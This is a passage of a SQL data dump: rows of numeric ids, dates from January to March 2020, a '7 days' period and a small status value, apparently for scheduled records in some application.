days',1),(15136,10901,3036,3974,221,85,'2020-01-24','7 days',0),(15137,10900,3036,3974,221,85,'2020-01-24','7 days',0),(15143,10910,3037,3974,222,85,'2020-01-24','7 days',0),(15144,10909,3037,3974,222,85,'2020-01-24','7 days',0),(15145,10908,3037,3974,222,85,'2020-01-24','7 days',0),(15146,10907,3037,3974,222,85,'2020-01-24','7 days',0),(15147,10906,3037,3974,222,85,'2020-01-24','7 days',1),(15148,10910,3036,3974,221,85,'2020-01-24','7 days',0),(15149,10909,3036,3974,221,85,'2020-01-24','7 days',0),(15150,10908,3036,3974,221,85,'2020-01-24','7 days',0),(15151,10907,3036,3974,221,85,'2020-01-24','7 days',0),(15152,10906,3036,3974,221,85,'2020-01-24','7 days',1),(15153,8781,3192,4182,161,73,'2020-01-25','7 days',0),(15154,672,3192,4182,161,73,'2020-01-25','7 days',0),(15155,661,3192,4182,161,73,'2020-01-25','7 days',2),(15156,659,3192,4182,161,73,'2020-01-25','7 days',1),(15157,647,3192,4182,161,73,'2020-01-25','7 days',1),(15158,642,3192,4182,161,73,'2020-01-25','7 days',0),(15159,640,3192,4182,161,73,'2020-01-25','7 days',0),(15161,9091,3259,4284,1343,86,'2020-01-25','7 days',0),(15162,8996,3259,4284,1343,86,'2020-01-25','7 days',1),(15163,10916,3259,4284,1343,86,'2020-01-25','7 days',0),(15164,10915,3259,4284,1343,86,'2020-01-25','7 days',0),(15165,10914,3259,4284,1343,86,'2020-01-25','7 days',2),(15166,10913,3259,4284,1343,86,'2020-01-25','7 days',0),(15167,6348,3259,4284,1343,86,'2020-01-25','7 days',0),(15168,5732,3259,4284,1343,86,'2020-01-25','7 days',0),(15169,5730,3259,4284,1343,86,'2020-01-25','7 days',0),(15170,986,3259,4284,1343,86,'2020-01-25','7 days',0),(15175,10942,3037,3974,222,85,'2020-01-25','7 days',1),(15176,10941,3037,3974,222,85,'2020-01-25','7 days',0),(15177,10940,3037,3974,222,85,'2020-01-25','7 days',1),(15178,10939,3037,3974,222,85,'2020-01-25','7 days',0),(15179,10938,3037,3974,222,85,'2020-01-25','7 days',2),(15180,10937,3037,3974,222,85,'2020-01-25','7 days',0),(15181,10936,3036,3974,221,85,'2020-01-25','7 days',0),(15182,10935,3036,3974,221,85,'2020-01-25','7 days',0),(15183,10934,3036,3974,221,85,'2020-01-25','7 days',0),(15184,10933,3036,3974,221,85,'2020-01-25','7 days',0),(15185,10932,3036,3974,221,85,'2020-01-25','7 days',0),(15186,10931,3036,3974,221,85,'2020-01-25','7 days',0),(15187,10930,3036,3974,221,85,'2020-01-25','7 days',0),(15188,10929,2723,3520,222,85,'2020-01-25','7 days',0),(15189,10928,2723,3520,222,85,'2020-01-25','7 days',0),(15190,10927,2723,3520,222,85,'2020-01-25','7 days',0),(15191,10926,2723,3520,222,85,'2020-01-25','7 days',0),(15192,10925,2723,3520,222,85,'2020-01-25','7 days',0),(15193,10924,2723,3520,222,85,'2020-01-25','7 days',0),(15194,10923,2723,3520,222,85,'2020-01-25','7 days',0),(15195,10921,2723,3520,222,85,'2020-01-25','7 days',0),(15196,10920,2723,3520,222,85,'2020-01-25','7 days',0),(15197,10919,2723,3520,222,85,'2020-01-25','7 days',0),(15198,10944,3259,4284,1343,86,'2020-01-27','7 days',1),(15199,10943,3259,4284,1343,86,'2020-01-27','7 days',0),(15200,10946,3256,4281,1291,86,'2020-01-27','7 days',0),(15201,10945,3256,4281,1291,86,'2020-01-27','7 days',0),(15202,9718,3256,4281,1291,86,'2020-01-27','7 days',0),(15203,9717,3256,4281,1291,86,'2020-01-27','7 days',0),(15204,9716,3256,4281,1291,86,'2020-01-27','7 days',0),(15205,9612,3256,4281,1291,86,'2020-01-27','7 days',1),(15206,9611,3256,4281,1291,86,'2020-01-27','7 days',0),(15207,9608,3256,4281,1291,86,'2020-01-27','7 days',0),(15208,9607,3256,4281,1291,86,'2020-01-27','7 days',0),(15209,9606,3256,4281,1291,86,'2020-01-27','7 days',0),(15210,9090,3256,4281,1291,86,'2020-01-27','7 days',0),(15211,9007,3256,4281,1291,86,'2020-01-27','7 days',0),(15268,10955,2723,3520,222,85,'2020-01-27','7 days',2),(15269,10942,2723,3520,222,85,'2020-01-27','7 days',0),(15270,10941,2723,3520,222,85,'2020-01-27','7 days',0),(15271,10940,2723,3520,222,85,'2020-01-27','7 days',1),(15272,10939,2723,3520,222,85,'2020-01-27','7 days',0),(15273,10938,2723,3520,222,85,'2020-01-27','7 days',0),(15274,10937,2723,3520,222,85,'2020-01-27','7 days',0),(15275,10936,2723,3520,222,85,'2020-01-27','7 days',0),(15276,10935,2723,3520,222,85,'2020-01-27','7 days',0),(15277,10934,2723,3520,222,85,'2020-01-27','7 days',0),(15278,10933,2723,3520,222,85,'2020-01-27','7 days',0),(15279,10932,2723,3520,222,85,'2020-01-27','7 days',0),(15280,10931,2723,3520,222,85,'2020-01-27','7 days',0),(15281,10930,2723,3520,222,85,'2020-01-27','7 days',2),(15301,9651,3219,4220,195,45,'2020-01-28','7 days',0),(15302,9206,3219,4220,195,45,'2020-01-28','7 days',1),(15303,889,3249,4269,195,45,'2020-01-28','7 days',0),(15304,889,3220,4221,195,45,'2020-01-28','7 days',0),(15305,10685,3256,4281,1291,86,'2020-01-28','7 days',1),(15306,10684,3256,4281,1291,86,'2020-01-28','7 days',1),(15307,10962,3256,4281,1291,86,'2020-01-28','7 days',1),(15344,10966,3274,4302,1342,971,'2020-01-29','7 days',1),(15345,10965,3274,4302,1342,971,'2020-01-29','7 days',0),(15346,10964,3274,4302,1342,971,'2020-01-29','7 days',0),(15347,10963,3274,4302,1342,971,'2020-01-29','7 days',0),(15348,10967,3274,4302,1342,971,'2020-01-29','7 days',1),(15355,10976,3282,4313,191,45,'2020-01-29','7 days',1),(15356,10975,3282,4313,191,45,'2020-01-29','7 days',1),(15357,5467,3282,4313,191,45,'2020-01-29','7 days',1),(15358,1989,3282,4313,191,45,'2020-01-29','7 days',1),(15360,10978,3252,4273,1342,971,'2020-01-30','7 days',1),(15361,10966,3252,4273,1342,971,'2020-01-30','7 days',1),(15362,10965,3252,4273,1342,971,'2020-01-30','7 days',0),(15363,10964,3252,4273,1342,971,'2020-01-30','7 days',0),(15369,9206,3282,4313,191,45,'2020-01-30','7 days',1),(15370,9206,3249,4269,195,45,'2020-01-30','7 days',1),(15371,650,3209,4206,162,73,'2020-01-30','7 days',2),(15372,649,3209,4206,162,73,'2020-01-30','7 days',0),(15373,646,3209,4206,162,73,'2020-01-30','7 days',0),(15374,645,3209,4206,162,73,'2020-01-30','7 days',1),(15375,8784,3209,4206,162,73,'2020-01-30','7 days',1),(15376,8783,3209,4206,162,73,'2020-01-30','7 days',0),(15377,656,3209,4206,162,73,'2020-01-30','7 days',1),(15378,653,3209,4206,162,73,'2020-01-30','7 days',0),(15379,630,1457,1780,160,73,'2020-01-30','7 days',0),(15380,8784,1457,1780,160,73,'2020-01-30','7 days',1),(15381,8783,1457,1780,160,73,'2020-01-30','7 days',0),(15382,656,1457,1780,160,73,'2020-01-30','7 days',0),(15383,653,1457,1780,160,73,'2020-01-30','7 days',0),(15390,9206,2943,3833,189,45,'2020-01-31','7 days',1),(15520,9012,3154,4125,160,73,'2020-01-31','7 days',0),(15521,9010,3154,4125,160,73,'2020-01-31','7 days',0),(15522,8785,3154,4125,160,73,'2020-01-31','7 days',0),(15523,8782,3154,4125,160,73,'2020-01-31','7 days',1),(15524,652,3154,4125,160,73,'2020-01-31','7 days',0),(15525,651,3154,4125,160,73,'2020-01-31','7 days',0),(15526,644,3154,4125,160,73,'2020-01-31','7 days',1),(15527,643,3154,4125,160,73,'2020-01-31','7 days',0),(15528,641,3154,4125,160,73,'2020-01-31','7 days',0),(15529,638,3154,4125,160,73,'2020-01-31','7 days',0),(15530,635,3154,4125,160,73,'2020-01-31','7 days',0),(15531,630,3154,4125,160,73,'2020-01-31','7 days',2),(15532,639,3192,4182,161,73,'2020-01-31','7 days',0),(15533,637,3192,4182,161,73,'2020-01-31','7 days',0),(15534,636,3192,4182,161,73,'2020-01-31','7 days',0),(15535,629,3192,4182,161,73,'2020-01-31','7 days',1),(15536,670,3266,4292,161,73,'2020-01-31','7 days',0),(15537,660,3266,4292,161,73,'2020-01-31','7 days',1),(15551,11126,3252,4273,1342,971,'2020-02-01','7 days',1),(15556,8590,3301,4339,1235,277,'2020-02-03','7 days',1),(15629,11163,3293,4330,194,45,'2020-02-04','7 days',0),(15630,11162,3293,4330,194,45,'2020-02-04','7 days',1),(15851,903,3333,4376,195,45,'2020-02-07','7 days',0),(15852,8795,3330,4373,195,45,'2020-02-07','7 days',1),(15853,1000,3330,4373,195,45,'2020-02-07','7 days',1),(15854,9650,3322,4360,195,45,'2020-02-07','7 days',0),(15864,8926,3333,4376,195,45,'2020-02-09','7 days',0),(15865,8925,3333,4376,195,45,'2020-02-09','7 days',0),(15866,8924,3333,4376,195,45,'2020-02-09','7 days',0),(15867,2238,3333,4376,195,45,'2020-02-09','7 days',2),(15868,10975,3333,4376,195,45,'2020-02-09','7 days',1),(15869,1989,3333,4376,195,45,'2020-02-09','7 days',1),(15870,909,3333,4376,195,45,'2020-02-09','7 days',0),(15871,908,3333,4376,195,45,'2020-02-09','7 days',0),(15872,906,3333,4376,195,45,'2020-02-09','7 days',0),(15873,10976,3330,4373,195,45,'2020-02-09','7 days',1),(15874,10975,3330,4373,195,45,'2020-02-09','7 days',1),(15875,9182,3330,4373,195,45,'2020-02-09','7 days',0),(15876,8926,3330,4373,195,45,'2020-02-09','7 days',0),(15877,8924,3330,4373,195,45,'2020-02-09','7 days',0),(15884,8795,3249,4269,195,45,'2020-02-09','7 days',1),(15885,1000,3249,4269,195,45,'2020-02-09','7 days',1),(15886,8926,3249,4269,195,45,'2020-02-09','7 days',0),(15887,8925,3249,4269,195,45,'2020-02-09','7 days',0),(15888,8924,3249,4269,195,45,'2020-02-09','7 days',0),(15889,2238,3249,4269,195,45,'2020-02-09','7 days',2),(15890,8794,3220,4221,195,45,'2020-02-09','7 days',0),(15891,1408,3220,4221,195,45,'2020-02-09','7 days',0),(15892,1406,3220,4221,195,45,'2020-02-09','7 days',0),(15893,1405,3220,4221,195,45,'2020-02-09','7 days',0),(15894,1359,3220,4221,195,45,'2020-02-09','7 days',2),(15895,1358,3220,4221,195,45,'2020-02-09','7 days',0),(15896,888,3220,4221,195,45,'2020-02-09','7 days',1),(15897,876,3220,4221,195,45,'2020-02-09','7 days',0),(15898,889,3219,4220,195,45,'2020-02-09','7 days',0),(15899,888,3219,4220,195,45,'2020-02-09','7 days',1),(15900,886,3219,4220,195,45,'2020-02-09','7 days',0),(15901,8926,3219,4220,195,45,'2020-02-09','7 days',0),(15902,8925,3219,4220,195,45,'2020-02-09','7 days',0),(15903,8924,3219,4220,195,45,'2020-02-09','7 days',0),(15904,2238,3219,4220,195,45,'2020-02-09','7 days',1),(15905,9182,2272,2966,195,45,'2020-02-09','7 days',0),(15906,8926,2272,2966,195,45,'2020-02-09','7 days',0),(15907,8925,2272,2966,195,45,'2020-02-09','7 days',0),(15984,10962,2759,3570,204,86,'2020-02-10','7 days',1),(15985,9765,2759,3570,204,86,'2020-02-10','7 days',0),(15986,9764,2759,3570,204,86,'2020-02-10','7 days',0),(15987,9751,2759,3570,204,86,'2020-02-10','7 days',0),(16074,11269,2723,3520,222,85,'2020-02-11','7 days',0),(16075,11268,2723,3520,222,85,'2020-02-11','7 days',0),(16076,11267,2723,3520,222,85,'2020-02-11','7 days',0),(16077,11266,2723,3520,222,85,'2020-02-11','7 days',0),(16078,11265,2723,3520,222,85,'2020-02-11','7 days',0),(16079,11264,2723,3520,222,85,'2020-02-11','7 days',0),(16080,11263,2723,3520,222,85,'2020-02-11','7 days',0),(16081,11262,2723,3520,222,85,'2020-02-11','7 days',0),(16082,11261,2723,3520,222,85,'2020-02-11','7 days',0),(16083,11260,2723,3520,222,85,'2020-02-11','7 days',0),(16088,11126,3336,4356,1342,971,'2020-02-11','7 days',1),(16089,10978,3336,4356,1342,971,'2020-02-11','7 days',1),(16090,10967,3336,4356,1342,971,'2020-02-11','7 days',1),(16091,10966,3336,4356,1342,971,'2020-02-11','7 days',1),(16092,10965,3336,4356,1342,971,'2020-02-11','7 days',0),(16093,10964,3336,4356,1342,971,'2020-02-11','7 days',0),(16097,10962,2756,3565,1251,86,'2020-02-12','7 days',1),(16098,10946,2756,3565,1251,86,'2020-02-12','7 days',0),(16099,10945,2756,3565,1251,86,'2020-02-12','7 days',1),(16100,10684,3177,4158,1251,86,'2020-02-12','7 days',1),(16101,9718,3177,4158,1251,86,'2020-02-12','7 days',0),(16102,9717,3177,4158,1251,86,'2020-02-12','7 days',0),(16103,9716,3177,4158,1251,86,'2020-02-12','7 days',0),(16104,9612,3177,4158,1251,86,'2020-02-12','7 days',1),(16105,9611,3177,4158,1251,86,'2020-02-12','7 days',0),(16106,9002,3177,4158,1251,86,'2020-02-12','7 days',1),(16107,9000,3177,4158,1251,86,'2020-02-12','7 days',1),(16108,9765,2838,3681,203,86,'2020-02-12','7 days',0),(16109,9764,2838,3681,203,86,'2020-02-12','7 days',0),(16110,9756,2838,3681,203,86,'2020-02-12','7 days',0),(16111,9755,2838,3681,203,86,'2020-02-12','7 days',0),(16112,9753,2838,3681,203,86,'2020-02-12','7 days',0),(16113,9752,2838,3681,203,86,'2020-02-12','7 days',0),(16114,9751,2838,3681,203,86,'2020-02-12','7 days',0),(16115,9727,2838,3681,203,86,'2020-02-12','7 days',0),(16116,9001,2838,3681,203,86,'2020-02-12','7 days',0),(16118,10212,3371,4415,1367,959,'2020-02-12','7 days',1),(16119,10393,3371,4415,1367,959,'2020-02-12','7 days',1),(16141,9109,3125,4092,358,251,'2020-02-12','7 days',1),(16142,9108,3125,4092,358,251,'2020-02-12','7 days',1),(16143,9107,3125,4092,358,251,'2020-02-12','7 days',1),(16144,9934,3237,4251,358,251,'2020-02-12','7 days',0),(16145,9933,3237,4251,358,251,'2020-02-12','7 days',1),(16146,9932,3237,4251,358,251,'2020-02-12','7 days',1),(16147,5408,3261,4286,358,251,'2020-02-12','7 days',0),(16148,5407,3261,4286,358,251,'2020-02-12','7 days',0),(16149,5406,3261,4286,358,251,'2020-02-12','7 days',1),(16150,5405,3261,4286,358,251,'2020-02-12','7 days',0),(16151,5404,3261,4286,358,251,'2020-02-12','7 days',1),(16152,5406,3383,4429,358,251,'2020-02-12','7 days',1),(16153,5405,3383,4429,358,251,'2020-02-12','7 days',0),(16154,5404,3383,4429,358,251,'2020-02-12','7 days',1),(16155,4275,3383,4429,358,251,'2020-02-12','7 days',0),(16156,4274,3383,4429,358,251,'2020-02-12','7 days',0),(16200,9052,3390,4437,358,251,'2020-02-15','7 days',0),(16201,9051,3390,4437,358,251,'2020-02-15','7 days',2),(16202,9050,3390,4437,358,251,'2020-02-15','7 days',1),(16203,9049,3390,4437,358,251,'2020-02-15','7 days',2),(16204,9048,3390,4437,358,251,'2020-02-15','7 days',0),(16223,11163,3339,4381,195,45,'2020-02-17','7 days',0),(16224,11162,3339,4381,195,45,'2020-02-17','7 days',1),(16225,9206,3339,4381,195,45,'2020-02-17','7 days',1),(16226,11163,3403,4457,195,45,'2020-02-17','7 days',2),(16227,11162,3403,4457,195,45,'2020-02-17','7 days',1),(16228,9206,3403,4457,195,45,'2020-02-17','7 days',1),(16229,10976,3388,4435,195,45,'2020-02-17','7 days',1),(16230,10975,3388,4435,195,45,'2020-02-17','7 days',1),(16231,5467,3388,4435,195,45,'2020-02-17','7 days',1),(16232,10251,3414,4184,1324,959,'2020-02-17','7 days',1),(16233,10212,3414,4184,1324,959,'2020-02-17','7 days',1),(16234,10211,3414,4184,1324,959,'2020-02-17','7 days',0),(16235,10393,3414,4184,1324,959,'2020-02-17','7 days',1),(16236,9650,3409,496,194,45,'2020-02-17','7 days',0),(16237,11163,3409,496,194,45,'2020-02-17','7 days',0),(16238,11162,3409,496,194,45,'2020-02-17','7 days',1),(16239,9206,3409,496,194,45,'2020-02-17','7 days',1),(16265,11300,3409,496,194,45,'2020-02-19','7 days',1),(16266,11299,3409,496,194,45,'2020-02-19','7 days',1),(16267,11298,3409,496,194,45,'2020-02-19','7 days',0),(16268,9182,3409,496,194,45,'2020-02-19','7 days',0),(16269,8926,3409,496,194,45,'2020-02-19','7 days',0),(16270,9182,3403,4457,195,45,'2020-02-19','7 days',0),(16271,8926,3403,4457,195,45,'2020-02-19','7 days',0),(16272,8796,3258,4283,633,639,'2020-02-19','7 days',1),(16273,10779,3258,4283,633,639,'2020-02-19','7 days',1),(16274,4516,3258,4283,633,639,'2020-02-19','7 days',1),(16275,4514,3258,4283,633,639,'2020-02-19','7 days',1),(16276,4499,3258,4283,633,639,'2020-02-19','7 days',0),(16277,4467,3258,4283,633,639,'2020-02-19','7 days',2),(16278,4460,3258,4283,633,639,'2020-02-19','7 days',0),(16298,9011,3266,4292,161,73,'2020-02-20','7 days',0),(16299,648,3266,4292,161,73,'2020-02-20','7 days',1),(16300,8781,3209,4206,162,73,'2020-02-20','7 days',0),(16301,672,3209,4206,162,73,'2020-02-20','7 days',0),(16302,661,3209,4206,162,73,'2020-02-20','7 days',1),(16303,9009,3192,4182,161,73,'2020-02-20','7 days',0),(16304,9008,3192,4182,161,73,'2020-02-20','7 days',0),(16305,665,3192,4182,161,73,'2020-02-20','7 days',0),(16306,647,3154,4125,160,73,'2020-02-20','7 days',0),(16307,642,3154,4125,160,73,'2020-02-20','7 days',0),(16308,640,3154,4125,160,73,'2020-02-20','7 days',0),(16369,9011,3447,4509,161,73,'2020-02-24','7 days',2),(16370,670,3447,4509,161,73,'2020-02-24','7 days',0),(16371,9013,3447,4509,161,73,'2020-02-24','7 days',0),(16372,668,3447,4509,161,73,'2020-02-24','7 days',0),(16373,9010,3447,4509,161,73,'2020-02-24','7 days',0),(16388,9014,3447,4509,161,73,'2020-02-25','7 days',1),(16389,8786,3447,4509,161,73,'2020-02-25','7 days',0),(16467,11300,3461,4533,194,45,'2020-02-25','7 days',2),(16468,11299,3461,4533,194,45,'2020-02-25','7 days',2),(16469,11300,3460,4532,194,45,'2020-02-25','7 days',2),(16470,11299,3460,4532,194,45,'2020-02-25','7 days',1),(16480,11163,3461,4533,194,45,'2020-02-26','7 days',0),(16481,11162,3461,4533,194,45,'2020-02-26','7 days',1),(16482,9206,3461,4533,194,45,'2020-02-26','7 days',1),(16483,657,3467,4540,160,73,'2020-02-26','7 days',2),(16484,663,3467,4540,160,73,'2020-02-26','7 days',1),(16485,658,3467,4540,160,73,'2020-02-26','7 days',0),(16486,672,3467,4540,160,73,'2020-02-26','7 days',0),(16487,640,3467,4540,160,73,'2020-02-26','7 days',0),(16528,11300,3479,4554,194,45,'2020-02-26','7 days',2),(16529,11299,3479,4554,194,45,'2020-02-26','7 days',2),(16530,11298,3479,4554,194,45,'2020-02-26','7 days',0),(16531,2238,3479,4554,194,45,'2020-02-26','7 days',0),(16532,11350,3479,4554,194,45,'2020-02-26','7 days',0),(16533,11350,3461,4533,194,45,'2020-02-26','7 days',0),(16534,11350,3460,4532,194,45,'2020-02-26','7 days',0),(16535,11360,3135,4103,1370,667,'2020-02-26','7 days',1),(16536,11359,3135,4103,1370,667,'2020-02-26','7 days',1),(16537,11358,3135,4103,1370,667,'2020-02-26','7 days',1),(16538,11357,3135,4103,1370,667,'2020-02-26','7 days',1),(16539,11356,3135,4103,1370,667,'2020-02-26','7 days',1),(16540,11355,3135,4103,1370,667,'2020-02-26','7 days',1),(16541,11354,3135,4103,1370,667,'2020-02-26','7 days',1),(16542,9897,3381,3889,1235,277,'2020-02-27','7 days',1),(16600,649,3447,4509,161,73,'2020-02-27','7 days',0),(16601,657,3447,4509,161,73,'2020-02-27','7 days',2),(16602,669,3447,4509,161,73,'2020-02-27','7 days',0),(16603,8781,3467,4540,160,73,'2020-02-27','7 days',0),(16604,629,3467,4540,160,73,'2020-02-27','7 days',1),(16605,665,3467,4540,160,73,'2020-02-27','7 days',0),(16606,662,3467,4540,160,73,'2020-02-27','7 days',0),(16607,10287,3467,4540,160,73,'2020-02-27','7 days',1),(16634,11419,3481,4014,1343,86,'2020-02-27','7 days',2),(16635,11418,3481,4014,1343,86,'2020-02-27','7 days',0),(16636,11417,3481,4014,1343,86,'2020-02-27','7 days',0),(16637,11416,3481,4014,1343,86,'2020-02-27','7 days',0),(16638,11415,3481,4014,1343,86,'2020-02-27','7 days',0),(16639,11414,3481,4014,1343,86,'2020-02-27','7 days',1),(16649,11430,3481,4014,1343,86,'2020-02-28','7 days',0),(16650,11429,3481,4014,1343,86,'2020-02-28','7 days',0),(16651,11428,3481,4014,1343,86,'2020-02-28','7 days',0),(16652,11425,3481,4014,1343,86,'2020-02-28','7 days',2),(16653,11424,3481,4014,1343,86,'2020-02-28','7 days',1),(16654,11427,3481,4014,1343,86,'2020-02-28','7 days',0),(16655,11437,2723,3520,222,85,'2020-02-28','7 days',0),(16656,11436,2723,3520,222,85,'2020-02-28','7 days',0),(16657,11435,2723,3520,222,85,'2020-02-28','7 days',2),(16658,11434,2723,3520,222,85,'2020-02-28','7 days',2),(16659,11433,2723,3520,222,85,'2020-02-28','7 days',0),(16660,11432,2723,3520,222,85,'2020-02-28','7 days',0),(16661,11431,2723,3520,222,85,'2020-02-28','7 days',0),(16662,11439,3301,4339,1235,277,'2020-02-28','7 days',0),(16663,11446,2723,3520,222,85,'2020-02-28','7 days',1),(16664,11445,2723,3520,222,85,'2020-02-28','7 days',1),(16665,11444,2723,3520,222,85,'2020-02-28','7 days',1),(16666,11443,2723,3520,222,85,'2020-02-28','7 days',0),(16667,11442,2723,3520,222,85,'2020-02-28','7 days',0),(16668,11441,2723,3520,222,85,'2020-02-28','7 days',0),(16669,11440,2723,3520,222,85,'2020-02-28','7 days',1),(16670,11438,2723,3520,222,85,'2020-02-28','7 days',0),(16673,11450,3301,4339,1235,277,'2020-02-28','7 days',1),(16674,11449,3301,4339,1235,277,'2020-02-28','7 days',1),(16675,11448,3301,4339,1235,277,'2020-02-28','7 days',0),(16676,11447,3301,4339,1235,277,'2020-02-28','7 days',0),(16707,673,3447,4509,161,73,'2020-02-29','7 days',0),(16708,667,3447,4509,161,73,'2020-02-29','7 days',1),(16709,9008,3447,4509,161,73,'2020-02-29','7 days',0),(16710,662,3447,4509,161,73,'2020-02-29','7 days',0),(16711,9805,3484,4560,1067,326,'2020-02-29','7 days',0),(16712,9803,3484,4560,1067,326,'2020-02-29','7 days',1),(16713,9802,3484,4560,1067,326,'2020-02-29','7 days',0),(16714,9801,3484,4560,1067,326,'2020-02-29','7 days',0),(16715,9800,3484,4560,1067,326,'2020-02-29','7 days',0),(16716,9798,3484,4560,1067,326,'2020-02-29','7 days',0),(16717,7415,3484,4560,1067,326,'2020-02-29','7 days',1),(16725,11350,3489,4566,194,45,'2020-02-29','7 days',0),(16726,11300,3489,4566,194,45,'2020-02-29','7 days',2),(16727,11299,3489,4566,194,45,'2020-02-29','7 days',2),(16728,11298,3489,4566,194,45,'2020-02-29','7 days',0),(16729,11350,3488,4565,194,45,'2020-02-29','7 days',1),(16730,11300,3488,4565,194,45,'2020-02-29','7 days',0),(16731,11299,3488,4565,194,45,'2020-02-29','7 days',1),(16732,11298,3488,4565,194,45,'2020-02-29','7 days',0),(16733,11456,3486,4563,1342,971,'2020-02-29','7 days',1),(16735,10967,3486,4563,1342,971,'2020-03-02','7 days',1),(16815,9797,3505,4581,1069,326,'2020-03-02','7 days',1),(16816,9796,3505,4581,1069,326,'2020-03-02','7 days',0),(16817,9795,3505,4581,1069,326,'2020-03-02','7 days',0),(16818,9720,3505,4581,1069,326,'2020-03-02','7 days',1),(16819,9719,3505,4581,1069,326,'2020-03-02','7 days',2),(16820,7421,3505,4581,1069,326,'2020-03-02','7 days',0),(16821,7420,3505,4581,1069,326,'2020-03-02','7 days',2),(16822,7419,3505,4581,1069,326,'2020-03-02','7 days',0),(16823,7418,3505,4581,1069,326,'2020-03-02','7 days',1),(16824,7417,3505,4581,1069,326,'2020-03-02','7 days',0),(16825,7416,3505,4581,1069,326,'2020-03-02','7 days',1),(16826,7415,3505,4581,1069,326,'2020-03-02','7 days',0),(16827,9797,3504,4581,1067,326,'2020-03-02','7 days',1),(16828,9796,3504,4581,1067,326,'2020-03-02','7 days',0),(16829,9795,3504,4581,1067,326,'2020-03-02','7 days',1),(16830,9720,3504,4581,1067,326,'2020-03-02','7 days',1),(16831,9719,3504,4581,1067,326,'2020-03-02','7 days',1),(16832,7421,3504,4581,1067,326,'2020-03-02','7 days',0),(16833,7420,3504,4581,1067,326,'2020-03-02','7 days',2),(16834,7419,3504,4581,1067,326,'2020-03-02','7 days',0),(16835,7418,3504,4581,1067,326,'2020-03-02','7 days',1),(16836,7417,3504,4581,1067,326,'2020-03-02','7 days',0),(16837,7416,3504,4581,1067,326,'2020-03-02','7 days',1),(16838,7415,3504,4581,1067,326,'2020-03-02','7 days',1),(16839,9805,3495,4574,1069,326,'2020-03-02','7 days',0),(16840,9803,3495,4574,1069,326,'2020-03-02','7 days',1),(16841,9802,3495,4574,1069,326,'2020-03-02','7 days',0),(16842,9801,3495,4574,1069,326,'2020-03-02','7 days',0),(16843,9800,3495,4574,1069,326,'2020-03-02','7 days',0),(16844,9798,3495,4574,1069,326,'2020-03-02','7 days',0),(16897,8781,3369,3534,160,73,'2020-03-03','7 days',0),(16898,672,3369,3534,160,73,'2020-03-03','7 days',1),(16899,661,3369,3534,160,73,'2020-03-03','7 days',1),(16900,659,3369,3534,160,73,'2020-03-03','7 days',1),(16901,647,3369,3534,160,73,'2020-03-03','7 days',0),(16926,11520,3509,4584,194,45,'2020-03-03','7 days',1),(16927,11519,3509,4584,194,45,'2020-03-03','7 days',1),(16928,11518,3509,4584,194,45,'2020-03-03','7 days',1),(16929,11350,3509,4584,194,45,'2020-03-03','7 days',0),(16930,11300,3509,4584,194,45,'2020-03-03','7 days',2),(16931,11299,3509,4584,194,45,'2020-03-03','7 days',2),(16932,11520,3498,4576,195,45,'2020-03-03','7 days',1),(16933,11519,3498,4576,195,45,'2020-03-03','7 days',1),(16934,11518,3498,4576,195,45,'2020-03-03','7 days',1),(16935,11350,3498,4576,195,45,'2020-03-03','7 days',1),(16936,11300,3498,4576,195,45,'2020-03-03','7 days',2),(16937,11299,3498,4576,195,45,'2020-03-03','7 days',2),(16938,11520,3489,4566,194,45,'2020-03-03','7 days',1),(16939,11519,3489,4566,194,45,'2020-03-03','7 days',1),(16940,11518,3489,4566,194,45,'2020-03-03','7 days',1),(16987,11353,3135,4103,1370,667,'2020-03-04','7 days',1),(16988,11352,3135,4103,1370,667,'2020-03-04','7 days',1),(16989,11351,3135,4103,1370,667,'2020-03-04','7 days',1),(17000,6243,3513,4594,1343,86,'2020-03-04','7 days',0),(17001,6241,3513,4594,1343,86,'2020-03-04','7 days',0),(17002,10807,3513,4594,1343,86,'2020-03-04','7 days',0),(17003,10806,3513,4594,1343,86,'2020-03-04','7 days',1),(17004,10805,3513,4594,1343,86,'2020-03-04','7 days',0),(17005,10804,3513,4594,1343,86,'2020-03-04','7 days',2),(17006,6199,3513,4594,1343,86,'2020-03-04','7 days',0),(17007,5755,3513,4594,1343,86,'2020-03-04','7 days',0),(17008,5754,3513,4594,1343,86,'2020-03-04','7 days',0),(17009,5753,3513,4594,1343,86,'2020-03-04','7 days',2),(17010,5751,3513,4594,1343,86,'2020-03-04','7 days',1),(17011,5749,3513,4594,1343,86,'2020-03-04','7 days',2),(17012,5747,3513,4594,1343,86,'2020-03-04','7 days',2),(17013,5745,3513,4594,1343,86,'2020-03-04','7 days',2),(17014,5743,3513,4594,1343,86,'2020-03-04','7 days',2),(17015,5741,3513,4594,1343,86,'2020-03-04','7 days',1),(17016,5739,3513,4594,1343,86,'2020-03-04','7 days',0),(17017,11520,3488,4565,194,45,'2020-03-04','7 days',1),(17018,11519,3488,4565,194,45,'2020-03-04','7 days',1),(17019,11518,3488,4565,194,45,'2020-03-04','7 days',1),(17020,11520,3045,3986,192,45,'2020-03-04','7 days',1),(17021,11519,3045,3986,192,45,'2020-03-04','7 days',1),(17022,11518,3045,3986,192,45,'2020-03-04','7 days',1),(17048,11360,3519,4600,1370,667,'2020-03-05','7 days',1),(17049,11359,3519,4600,1370,667,'2020-03-05','7 days',1),(17050,11358,3519,4600,1370,667,'2020-03-05','7 days',1),(17051,11357,3519,4600,1370,667,'2020-03-05','7 days',1),(17052,11356,3519,4600,1370,667,'2020-03-05','7 days',1),(17056,11578,3522,4604,194,45,'2020-03-05','7 days',1),(17057,11577,3522,4604,194,45,'2020-03-05','7 days',1),(17058,673,3154,4125,160,73,'2020-03-05','7 days',0),(17059,667,3154,4125,160,73,'2020-03-05','7 days',1),(17060,666,3154,4125,160,73,'2020-03-05','7 days',0),(17064,11582,3513,4594,1343,86,'2020-03-05','7 days',0),(17065,11581,3513,4594,1343,86,'2020-03-05','7 days',0),(17066,11580,3513,4594,1343,86,'2020-03-05','7 days',1),(17067,9009,3154,4125,160,73,'2020-03-05','7 days',0),(17068,9008,3154,4125,160,73,'2020-03-05','7 days',0),(17069,665,3154,4125,160,73,'2020-03-05','7 days',0),(17070,662,3154,4125,160,73,'2020-03-05','7 days',0),(17071,633,3154,4125,160,73,'2020-03-05','7 days',2),(17072,670,3154,4125,160,73,'2020-03-05','7 days',0),(17073,660,3154,4125,160,73,'2020-03-05','7 days',0),(17074,8781,3154,4125,160,73,'2020-03-05','7 days',0),(17075,672,3154,4125,160,73,'2020-03-05','7 days',1),(17076,661,3154,4125,160,73,'2020-03-05','7 days',0),(17077,636,3154,4125,160,73,'2020-03-05','7 days',0),(17078,9012,3192,4182,161,73,'2020-03-05','7 